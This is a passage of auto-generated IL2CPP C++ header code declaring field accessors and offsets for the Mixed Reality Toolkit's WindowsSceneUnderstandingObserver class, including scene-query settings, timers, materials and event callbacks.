___U3CSurfaceTypesU3Ek__BackingField_26; } inline int32_t* get_address_of_U3CSurfaceTypesU3Ek__BackingField_26() { return &___U3CSurfaceTypesU3Ek__BackingField_26; } inline void set_U3CSurfaceTypesU3Ek__BackingField_26(int32_t value) { ___U3CSurfaceTypesU3Ek__BackingField_26 = value; } inline static int32_t get_offset_of_U3CShouldLoadFromFileU3Ek__BackingField_27() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CShouldLoadFromFileU3Ek__BackingField_27)); } inline bool get_U3CShouldLoadFromFileU3Ek__BackingField_27() const { return ___U3CShouldLoadFromFileU3Ek__BackingField_27; } inline bool* get_address_of_U3CShouldLoadFromFileU3Ek__BackingField_27() { return &___U3CShouldLoadFromFileU3Ek__BackingField_27; } inline void set_U3CShouldLoadFromFileU3Ek__BackingField_27(bool value) { ___U3CShouldLoadFromFileU3Ek__BackingField_27 = value; } inline static int32_t get_offset_of_U3CInstantiationBatchRateU3Ek__BackingField_28() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CInstantiationBatchRateU3Ek__BackingField_28)); } inline int32_t get_U3CInstantiationBatchRateU3Ek__BackingField_28() const { return ___U3CInstantiationBatchRateU3Ek__BackingField_28; } inline int32_t* get_address_of_U3CInstantiationBatchRateU3Ek__BackingField_28() { return &___U3CInstantiationBatchRateU3Ek__BackingField_28; } inline void set_U3CInstantiationBatchRateU3Ek__BackingField_28(int32_t value) { ___U3CInstantiationBatchRateU3Ek__BackingField_28 = value; } inline static int32_t get_offset_of_U3CInferRegionsU3Ek__BackingField_29() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CInferRegionsU3Ek__BackingField_29)); } inline bool get_U3CInferRegionsU3Ek__BackingField_29() const { return ___U3CInferRegionsU3Ek__BackingField_29; } inline bool* get_address_of_U3CInferRegionsU3Ek__BackingField_29() { return &___U3CInferRegionsU3Ek__BackingField_29; } inline void set_U3CInferRegionsU3Ek__BackingField_29(bool value) { ___U3CInferRegionsU3Ek__BackingField_29 = value; } inline static int32_t get_offset_of_U3CRequestMeshDataU3Ek__BackingField_30() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CRequestMeshDataU3Ek__BackingField_30)); } inline bool get_U3CRequestMeshDataU3Ek__BackingField_30() const { return ___U3CRequestMeshDataU3Ek__BackingField_30; } inline bool* get_address_of_U3CRequestMeshDataU3Ek__BackingField_30() { return &___U3CRequestMeshDataU3Ek__BackingField_30; } inline void set_U3CRequestMeshDataU3Ek__BackingField_30(bool value) { ___U3CRequestMeshDataU3Ek__BackingField_30 = value; } inline static int32_t get_offset_of_U3CRequestPlaneDataU3Ek__BackingField_31() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CRequestPlaneDataU3Ek__BackingField_31)); } inline bool get_U3CRequestPlaneDataU3Ek__BackingField_31() const { return ___U3CRequestPlaneDataU3Ek__BackingField_31; } inline bool* get_address_of_U3CRequestPlaneDataU3Ek__BackingField_31() { return &___U3CRequestPlaneDataU3Ek__BackingField_31; } inline void set_U3CRequestPlaneDataU3Ek__BackingField_31(bool value) { ___U3CRequestPlaneDataU3Ek__BackingField_31 = value; } inline static int32_t get_offset_of_U3CRequestOcclusionMaskU3Ek__BackingField_32() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CRequestOcclusionMaskU3Ek__BackingField_32)); } inline bool get_U3CRequestOcclusionMaskU3Ek__BackingField_32() const { return ___U3CRequestOcclusionMaskU3Ek__BackingField_32; } inline bool* get_address_of_U3CRequestOcclusionMaskU3Ek__BackingField_32() { return &___U3CRequestOcclusionMaskU3Ek__BackingField_32; } inline void set_U3CRequestOcclusionMaskU3Ek__BackingField_32(bool value) { ___U3CRequestOcclusionMaskU3Ek__BackingField_32 = value; } inline static int32_t get_offset_of_U3CUsePersistentObjectsU3Ek__BackingField_33() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CUsePersistentObjectsU3Ek__BackingField_33)); } inline bool get_U3CUsePersistentObjectsU3Ek__BackingField_33() const { return ___U3CUsePersistentObjectsU3Ek__BackingField_33; } inline bool* get_address_of_U3CUsePersistentObjectsU3Ek__BackingField_33() { return &___U3CUsePersistentObjectsU3Ek__BackingField_33; } inline void set_U3CUsePersistentObjectsU3Ek__BackingField_33(bool value) { ___U3CUsePersistentObjectsU3Ek__BackingField_33 = value; } inline static int32_t get_offset_of_U3CQueryRadiusU3Ek__BackingField_34() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CQueryRadiusU3Ek__BackingField_34)); } inline float get_U3CQueryRadiusU3Ek__BackingField_34() const { return ___U3CQueryRadiusU3Ek__BackingField_34; } inline float* get_address_of_U3CQueryRadiusU3Ek__BackingField_34() { return &___U3CQueryRadiusU3Ek__BackingField_34; } inline void set_U3CQueryRadiusU3Ek__BackingField_34(float value) { ___U3CQueryRadiusU3Ek__BackingField_34 = value; } inline static int32_t get_offset_of_U3COcclusionMaskResolutionU3Ek__BackingField_35() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3COcclusionMaskResolutionU3Ek__BackingField_35)); } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 get_U3COcclusionMaskResolutionU3Ek__BackingField_35() const { return ___U3COcclusionMaskResolutionU3Ek__BackingField_35; } inline Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 * get_address_of_U3COcclusionMaskResolutionU3Ek__BackingField_35() { return &___U3COcclusionMaskResolutionU3Ek__BackingField_35; } inline void set_U3COcclusionMaskResolutionU3Ek__BackingField_35(Vector2Int_tF49F5C2443670DE126D9EC8DBE81D8F480EAA6E9 value) { ___U3COcclusionMaskResolutionU3Ek__BackingField_35 = value; } inline static int32_t get_offset_of_U3CCreateGameObjectsU3Ek__BackingField_36() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CCreateGameObjectsU3Ek__BackingField_36)); } inline bool get_U3CCreateGameObjectsU3Ek__BackingField_36() const { return ___U3CCreateGameObjectsU3Ek__BackingField_36; } inline bool* get_address_of_U3CCreateGameObjectsU3Ek__BackingField_36() { return &___U3CCreateGameObjectsU3Ek__BackingField_36; } inline void set_U3CCreateGameObjectsU3Ek__BackingField_36(bool value) { ___U3CCreateGameObjectsU3Ek__BackingField_36 = value; } inline static int32_t get_offset_of_U3CAutoUpdateU3Ek__BackingField_37() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CAutoUpdateU3Ek__BackingField_37)); } inline bool get_U3CAutoUpdateU3Ek__BackingField_37() const { return ___U3CAutoUpdateU3Ek__BackingField_37; } inline bool* get_address_of_U3CAutoUpdateU3Ek__BackingField_37() { return &___U3CAutoUpdateU3Ek__BackingField_37; } inline void set_U3CAutoUpdateU3Ek__BackingField_37(bool value) { ___U3CAutoUpdateU3Ek__BackingField_37 = value; } inline static int32_t get_offset_of_U3COrientSceneU3Ek__BackingField_38() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3COrientSceneU3Ek__BackingField_38)); } inline bool get_U3COrientSceneU3Ek__BackingField_38() const { return ___U3COrientSceneU3Ek__BackingField_38; } inline bool* get_address_of_U3COrientSceneU3Ek__BackingField_38() { return &___U3COrientSceneU3Ek__BackingField_38; } inline void set_U3COrientSceneU3Ek__BackingField_38(bool value) { ___U3COrientSceneU3Ek__BackingField_38 = value; } inline static int32_t get_offset_of_U3CWorldMeshLevelOfDetailU3Ek__BackingField_39() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CWorldMeshLevelOfDetailU3Ek__BackingField_39)); } inline int32_t get_U3CWorldMeshLevelOfDetailU3Ek__BackingField_39() const { return ___U3CWorldMeshLevelOfDetailU3Ek__BackingField_39; } inline int32_t* get_address_of_U3CWorldMeshLevelOfDetailU3Ek__BackingField_39() { return &___U3CWorldMeshLevelOfDetailU3Ek__BackingField_39; } inline void set_U3CWorldMeshLevelOfDetailU3Ek__BackingField_39(int32_t value) { ___U3CWorldMeshLevelOfDetailU3Ek__BackingField_39 = value; } inline static int32_t get_offset_of_U3CFirstAutoUpdateDelayU3Ek__BackingField_40() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CFirstAutoUpdateDelayU3Ek__BackingField_40)); } inline float get_U3CFirstAutoUpdateDelayU3Ek__BackingField_40() const { return ___U3CFirstAutoUpdateDelayU3Ek__BackingField_40; } inline float* get_address_of_U3CFirstAutoUpdateDelayU3Ek__BackingField_40() { return &___U3CFirstAutoUpdateDelayU3Ek__BackingField_40; } inline void set_U3CFirstAutoUpdateDelayU3Ek__BackingField_40(float value) { ___U3CFirstAutoUpdateDelayU3Ek__BackingField_40 = value; } inline static int32_t get_offset_of_U3CUpdateOnceInitializedU3Ek__BackingField_41() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CUpdateOnceInitializedU3Ek__BackingField_41)); } inline bool get_U3CUpdateOnceInitializedU3Ek__BackingField_41() const { return ___U3CUpdateOnceInitializedU3Ek__BackingField_41; } inline bool* get_address_of_U3CUpdateOnceInitializedU3Ek__BackingField_41() { return &___U3CUpdateOnceInitializedU3Ek__BackingField_41; } inline void set_U3CUpdateOnceInitializedU3Ek__BackingField_41(bool value) { ___U3CUpdateOnceInitializedU3Ek__BackingField_41 = value; } inline static int32_t get_offset_of_U3CDefaultMaterialU3Ek__BackingField_42() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CDefaultMaterialU3Ek__BackingField_42)); } inline Material_t8927C00353A72755313F046D0CE85178AE8218EE * get_U3CDefaultMaterialU3Ek__BackingField_42() const { return ___U3CDefaultMaterialU3Ek__BackingField_42; } inline Material_t8927C00353A72755313F046D0CE85178AE8218EE ** get_address_of_U3CDefaultMaterialU3Ek__BackingField_42() { return &___U3CDefaultMaterialU3Ek__BackingField_42; } inline void set_U3CDefaultMaterialU3Ek__BackingField_42(Material_t8927C00353A72755313F046D0CE85178AE8218EE * value) { ___U3CDefaultMaterialU3Ek__BackingField_42 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CDefaultMaterialU3Ek__BackingField_42), (void*)value); } inline static int32_t get_offset_of_U3CDefaultWorldMeshMaterialU3Ek__BackingField_43() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___U3CDefaultWorldMeshMaterialU3Ek__BackingField_43)); } inline Material_t8927C00353A72755313F046D0CE85178AE8218EE * get_U3CDefaultWorldMeshMaterialU3Ek__BackingField_43() const { return ___U3CDefaultWorldMeshMaterialU3Ek__BackingField_43; } inline Material_t8927C00353A72755313F046D0CE85178AE8218EE ** get_address_of_U3CDefaultWorldMeshMaterialU3Ek__BackingField_43() { return &___U3CDefaultWorldMeshMaterialU3Ek__BackingField_43; } inline void set_U3CDefaultWorldMeshMaterialU3Ek__BackingField_43(Material_t8927C00353A72755313F046D0CE85178AE8218EE * value) { ___U3CDefaultWorldMeshMaterialU3Ek__BackingField_43 = value; Il2CppCodeGenWriteBarrier((void**)(&___U3CDefaultWorldMeshMaterialU3Ek__BackingField_43), (void*)value); } inline static int32_t get_offset_of_sceneBytes_44() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___sceneBytes_44)); } inline ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726* get_sceneBytes_44() const { return ___sceneBytes_44; } inline ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726** get_address_of_sceneBytes_44() { return &___sceneBytes_44; } inline void set_sceneBytes_44(ByteU5BU5D_tDBBEB0E8362242FA7223000D978B0DD19D4B0726* value) { ___sceneBytes_44 = value; Il2CppCodeGenWriteBarrier((void**)(&___sceneBytes_44), (void*)value); } inline static int32_t get_offset_of_serializedScene_45() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___serializedScene_45)); } inline TextAsset_t1969F5FD1F628C7C0A70D9605C0D251B4F547234 * get_serializedScene_45() const { return ___serializedScene_45; } inline TextAsset_t1969F5FD1F628C7C0A70D9605C0D251B4F547234 ** get_address_of_serializedScene_45() { return &___serializedScene_45; } inline void set_serializedScene_45(TextAsset_t1969F5FD1F628C7C0A70D9605C0D251B4F547234 * value) { ___serializedScene_45 = value; Il2CppCodeGenWriteBarrier((void**)(&___serializedScene_45), (void*)value); } inline static int32_t get_offset_of_task_46() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___task_46)); } inline Task_t804B25CFE3FC13AAEE16C8FA3BF52513F2A8DB60 * get_task_46() const { return ___task_46; } inline Task_t804B25CFE3FC13AAEE16C8FA3BF52513F2A8DB60 ** get_address_of_task_46() { return &___task_46; } inline void set_task_46(Task_t804B25CFE3FC13AAEE16C8FA3BF52513F2A8DB60 * value) { ___task_46 = value; Il2CppCodeGenWriteBarrier((void**)(&___task_46), (void*)value); } inline static int32_t get_offset_of_sceneObjects_47() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___sceneObjects_47)); } inline Dictionary_2_t90E0DC17995431E62A89609E53E52FDDD331CC34 * get_sceneObjects_47() const { return ___sceneObjects_47; } inline Dictionary_2_t90E0DC17995431E62A89609E53E52FDDD331CC34 ** get_address_of_sceneObjects_47() { return &___sceneObjects_47; } inline void set_sceneObjects_47(Dictionary_2_t90E0DC17995431E62A89609E53E52FDDD331CC34 * value) { ___sceneObjects_47 = value; Il2CppCodeGenWriteBarrier((void**)(&___sceneObjects_47), (void*)value); } inline static int32_t get_offset_of_observedObjectParent_48() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___observedObjectParent_48)); } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * get_observedObjectParent_48() const { return ___observedObjectParent_48; } inline GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 ** get_address_of_observedObjectParent_48() { return &___observedObjectParent_48; } inline void set_observedObjectParent_48(GameObject_tC000A2E1A7CF1E10FD7BA08863287C072207C319 * value) { ___observedObjectParent_48 = value; Il2CppCodeGenWriteBarrier((void**)(&___observedObjectParent_48), (void*)value); } inline static int32_t get_offset_of_firstUpdateTimer_49() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___firstUpdateTimer_49)); } inline Timer_t8753DB32BE02A6CC461BFA2D54D05D9DFC585ACE * get_firstUpdateTimer_49() const { return ___firstUpdateTimer_49; } inline Timer_t8753DB32BE02A6CC461BFA2D54D05D9DFC585ACE ** get_address_of_firstUpdateTimer_49() { return &___firstUpdateTimer_49; } inline void set_firstUpdateTimer_49(Timer_t8753DB32BE02A6CC461BFA2D54D05D9DFC585ACE * value) { ___firstUpdateTimer_49 = value; Il2CppCodeGenWriteBarrier((void**)(&___firstUpdateTimer_49), (void*)value); } inline static int32_t get_offset_of_updateTimer_50() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___updateTimer_50)); } inline Timer_t8753DB32BE02A6CC461BFA2D54D05D9DFC585ACE * get_updateTimer_50() const { return ___updateTimer_50; } inline Timer_t8753DB32BE02A6CC461BFA2D54D05D9DFC585ACE ** get_address_of_updateTimer_50() { return &___updateTimer_50; } inline void set_updateTimer_50(Timer_t8753DB32BE02A6CC461BFA2D54D05D9DFC585ACE * value) { ___updateTimer_50 = value; Il2CppCodeGenWriteBarrier((void**)(&___updateTimer_50), (void*)value); } inline static int32_t get_offset_of_cachedSceneQuads_51() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___cachedSceneQuads_51)); } inline Dictionary_2_t877A02A3DCED84372E8F6CA424353CD00CD1EF45 * get_cachedSceneQuads_51() const { return ___cachedSceneQuads_51; } inline Dictionary_2_t877A02A3DCED84372E8F6CA424353CD00CD1EF45 ** get_address_of_cachedSceneQuads_51() { return &___cachedSceneQuads_51; } inline void set_cachedSceneQuads_51(Dictionary_2_t877A02A3DCED84372E8F6CA424353CD00CD1EF45 * value) { ___cachedSceneQuads_51 = value; Il2CppCodeGenWriteBarrier((void**)(&___cachedSceneQuads_51), (void*)value); } inline static int32_t get_offset_of_instantiationQueue_52() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___instantiationQueue_52)); } inline ConcurrentQueue_1_tA6D925C7D9B5461E41C08314EA9AE5C2CE493CB7 * get_instantiationQueue_52() const { return ___instantiationQueue_52; } inline ConcurrentQueue_1_tA6D925C7D9B5461E41C08314EA9AE5C2CE493CB7 ** get_address_of_instantiationQueue_52() { return &___instantiationQueue_52; } inline void set_instantiationQueue_52(ConcurrentQueue_1_tA6D925C7D9B5461E41C08314EA9AE5C2CE493CB7 * value) { ___instantiationQueue_52 = value; Il2CppCodeGenWriteBarrier((void**)(&___instantiationQueue_52), (void*)value); } inline static int32_t get_offset_of_normalizedQuadMesh_53() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___normalizedQuadMesh_53)); } inline Mesh_t2F5992DBA650D5862B43D3823ACD997132A57DA6 * get_normalizedQuadMesh_53() const { return ___normalizedQuadMesh_53; } inline Mesh_t2F5992DBA650D5862B43D3823ACD997132A57DA6 ** get_address_of_normalizedQuadMesh_53() { return &___normalizedQuadMesh_53; } inline void set_normalizedQuadMesh_53(Mesh_t2F5992DBA650D5862B43D3823ACD997132A57DA6 * value) { ___normalizedQuadMesh_53 = value; Il2CppCodeGenWriteBarrier((void**)(&___normalizedQuadMesh_53), (void*)value); } inline static int32_t get_offset_of_surfaceTypeName_54() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___surfaceTypeName_54)); } inline String_t* get_surfaceTypeName_54() const { return ___surfaceTypeName_54; } inline String_t** get_address_of_surfaceTypeName_54() { return &___surfaceTypeName_54; } inline void set_surfaceTypeName_54(String_t* value) { ___surfaceTypeName_54 = value; Il2CppCodeGenWriteBarrier((void**)(&___surfaceTypeName_54), (void*)value); } inline static int32_t get_offset_of_cancelTokenSource_55() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___cancelTokenSource_55)); } inline CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 * get_cancelTokenSource_55() const { return ___cancelTokenSource_55; } inline CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 ** get_address_of_cancelTokenSource_55() { return &___cancelTokenSource_55; } inline void set_cancelTokenSource_55(CancellationTokenSource_t78B989179DE23EDD36F870FFEE20A15D6D3C65B3 * value) { ___cancelTokenSource_55 = value; Il2CppCodeGenWriteBarrier((void**)(&___cancelTokenSource_55), (void*)value); } inline static int32_t get_offset_of_correctOrientation_56() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___correctOrientation_56)); } inline Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 get_correctOrientation_56() const { return ___correctOrientation_56; } inline Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 * get_address_of_correctOrientation_56() { return &___correctOrientation_56; } inline void set_correctOrientation_56(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 value) { ___correctOrientation_56 = value; } inline static int32_t get_offset_of_convertedObjects_57() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___convertedObjects_57)); } inline List_1_tAE037B58DD2A07B4BE1C2953C5736358AD7C3BAD * get_convertedObjects_57() const { return ___convertedObjects_57; } inline List_1_tAE037B58DD2A07B4BE1C2953C5736358AD7C3BAD ** get_address_of_convertedObjects_57() { return &___convertedObjects_57; } inline void set_convertedObjects_57(List_1_tAE037B58DD2A07B4BE1C2953C5736358AD7C3BAD * value) { ___convertedObjects_57 = value; Il2CppCodeGenWriteBarrier((void**)(&___convertedObjects_57), (void*)value); } inline static int32_t get_offset_of_IdToGuidLookup_58() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___IdToGuidLookup_58)); } inline Dictionary_2_t6129019525B6065C5CB178570DE87B8155840619 * get_IdToGuidLookup_58() const { return ___IdToGuidLookup_58; } inline Dictionary_2_t6129019525B6065C5CB178570DE87B8155840619 ** get_address_of_IdToGuidLookup_58() { return &___IdToGuidLookup_58; } inline void set_IdToGuidLookup_58(Dictionary_2_t6129019525B6065C5CB178570DE87B8155840619 * value) { ___IdToGuidLookup_58 = value; Il2CppCodeGenWriteBarrier((void**)(&___IdToGuidLookup_58), (void*)value); } inline static int32_t get_offset_of_observerState_59() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___observerState_59)); } inline int32_t get_observerState_59() const { return ___observerState_59; } inline int32_t* get_address_of_observerState_59() { return &___observerState_59; } inline void set_observerState_59(int32_t value) { ___observerState_59 = value; } inline static int32_t get_offset_of_cancelToken_60() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___cancelToken_60)); } inline CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD get_cancelToken_60() const { return ___cancelToken_60; } inline CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD * get_address_of_cancelToken_60() { return &___cancelToken_60; } inline void set_cancelToken_60(CancellationToken_tC9D68381C9164A4BA10397257E87ADC832AF5FFD value) { ___cancelToken_60 = value; Il2CppCodeGenWriteBarrier((void**)&(((&___cancelToken_60))->___m_source_0), (void*)NULL); } inline static int32_t get_offset_of_sceneOriginId_61() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___sceneOriginId_61)); } inline Guid_t get_sceneOriginId_61() const { return ___sceneOriginId_61; } inline Guid_t * get_address_of_sceneOriginId_61() { return &___sceneOriginId_61; } inline void set_sceneOriginId_61(Guid_t value) { ___sceneOriginId_61 = value; } inline static int32_t get_offset_of_sceneToWorldTransformMatrix_62() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___sceneToWorldTransformMatrix_62)); } inline Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 get_sceneToWorldTransformMatrix_62() const { return ___sceneToWorldTransformMatrix_62; } inline Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 * get_address_of_sceneToWorldTransformMatrix_62() { return &___sceneToWorldTransformMatrix_62; } inline void set_sceneToWorldTransformMatrix_62(Matrix4x4_t5B627955C6D80AF8F1D97A6466CB337DCEEB3504 value) { ___sceneToWorldTransformMatrix_62 = value; } inline static int32_t get_offset_of_filteredSelectedSurfaceTypesResult_63() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___filteredSelectedSurfaceTypesResult_63)); } inline List_1_t884C040642DCB159A123549C8F62D3860DCC52FF * get_filteredSelectedSurfaceTypesResult_63() const { return ___filteredSelectedSurfaceTypesResult_63; } inline List_1_t884C040642DCB159A123549C8F62D3860DCC52FF ** get_address_of_filteredSelectedSurfaceTypesResult_63() { return &___filteredSelectedSurfaceTypesResult_63; } inline void set_filteredSelectedSurfaceTypesResult_63(List_1_t884C040642DCB159A123549C8F62D3860DCC52FF * value) { ___filteredSelectedSurfaceTypesResult_63 = value; Il2CppCodeGenWriteBarrier((void**)(&___filteredSelectedSurfaceTypesResult_63), (void*)value); } inline static int32_t get_offset_of_defaultTexture_64() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___defaultTexture_64)); } inline Texture_t9FE0218A1EEDF266E8C85879FE123265CACC95AE * get_defaultTexture_64() const { return ___defaultTexture_64; } inline Texture_t9FE0218A1EEDF266E8C85879FE123265CACC95AE ** get_address_of_defaultTexture_64() { return &___defaultTexture_64; } inline void set_defaultTexture_64(Texture_t9FE0218A1EEDF266E8C85879FE123265CACC95AE * value) { ___defaultTexture_64 = value; Il2CppCodeGenWriteBarrier((void**)(&___defaultTexture_64), (void*)value); } inline static int32_t get_offset_of_isOpenXRLoaderActive_65() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___isOpenXRLoaderActive_65)); } inline bool get_isOpenXRLoaderActive_65() const { return ___isOpenXRLoaderActive_65; } inline bool* get_address_of_isOpenXRLoaderActive_65() { return &___isOpenXRLoaderActive_65; } inline void set_isOpenXRLoaderActive_65(bool value) { ___isOpenXRLoaderActive_65 = value; } inline static int32_t get_offset_of_sceneEventData_66() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340, ___sceneEventData_66)); } inline MixedRealitySpatialAwarenessEventData_1_tFFFE9C796D7933A1A6252E5F34D692980EC69DD3 * get_sceneEventData_66() const { return ___sceneEventData_66; } inline MixedRealitySpatialAwarenessEventData_1_tFFFE9C796D7933A1A6252E5F34D692980EC69DD3 ** get_address_of_sceneEventData_66() { return &___sceneEventData_66; } inline void set_sceneEventData_66(MixedRealitySpatialAwarenessEventData_1_tFFFE9C796D7933A1A6252E5F34D692980EC69DD3 * value) { ___sceneEventData_66 = value; Il2CppCodeGenWriteBarrier((void**)(&___sceneEventData_66), (void*)value); } }; struct WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340_StaticFields { public: // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1> Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::OnSceneObjectAdded EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE * ___OnSceneObjectAdded_67; // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1> Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::OnSceneObjectUpdated EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE * ___OnSceneObjectUpdated_68; // UnityEngine.EventSystems.ExecuteEvents/EventFunction`1> Microsoft.MixedReality.Toolkit.WindowsSceneUnderstanding.Experimental.WindowsSceneUnderstandingObserver::OnSceneObjectRemoved EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE * ___OnSceneObjectRemoved_69; public: inline static int32_t get_offset_of_OnSceneObjectAdded_67() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340_StaticFields, ___OnSceneObjectAdded_67)); } inline EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE * get_OnSceneObjectAdded_67() const { return ___OnSceneObjectAdded_67; } inline EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE ** get_address_of_OnSceneObjectAdded_67() { return &___OnSceneObjectAdded_67; } inline void set_OnSceneObjectAdded_67(EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE * value) { ___OnSceneObjectAdded_67 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnSceneObjectAdded_67), (void*)value); } inline static int32_t get_offset_of_OnSceneObjectUpdated_68() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340_StaticFields, ___OnSceneObjectUpdated_68)); } inline EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE * get_OnSceneObjectUpdated_68() const { return ___OnSceneObjectUpdated_68; } inline EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE ** get_address_of_OnSceneObjectUpdated_68() { return &___OnSceneObjectUpdated_68; } inline void set_OnSceneObjectUpdated_68(EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE * value) { ___OnSceneObjectUpdated_68 = value; Il2CppCodeGenWriteBarrier((void**)(&___OnSceneObjectUpdated_68), (void*)value); } inline static int32_t get_offset_of_OnSceneObjectRemoved_69() { return static_cast(offsetof(WindowsSceneUnderstandingObserver_tDB04B9F591AEAACDA073762886C40DFEE4E14340_StaticFields, ___OnSceneObjectRemoved_69)); } inline EventFunction_1_t09C3552D0E392433F9E1730706B3D5BC8B3B43FE * get_OnSceneObjectRemoved_69() const { return ___OnSceneObjectRemoved_69; } inline 